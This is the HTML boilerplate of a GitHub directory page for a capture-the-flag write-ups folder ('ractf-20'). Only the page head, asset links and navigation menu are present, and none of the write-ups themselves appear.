<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9CB0:7430:50425E1:5269483:64121FD0" data-pjax-transient="true"/><meta name="html-safe-nonce" content="63d117feb8c655918fd1e3f0390b1fc98944c176e3c2e677075ca1149959ab2d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5Q0IwOjc0MzA6NTA0MjVFMTo1MjY5NDgzOjY0MTIxRkQwIiwidmlzaXRvcl9pZCI6IjY0ODQwMDc0OTAxNjE4NzY5NDQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="222b11528751065a6a0e00ca150f0222002ceb35386157bc7850146fe4478ab5" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/ractf-20 at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git">
<meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" />
<link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/ractf-20" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
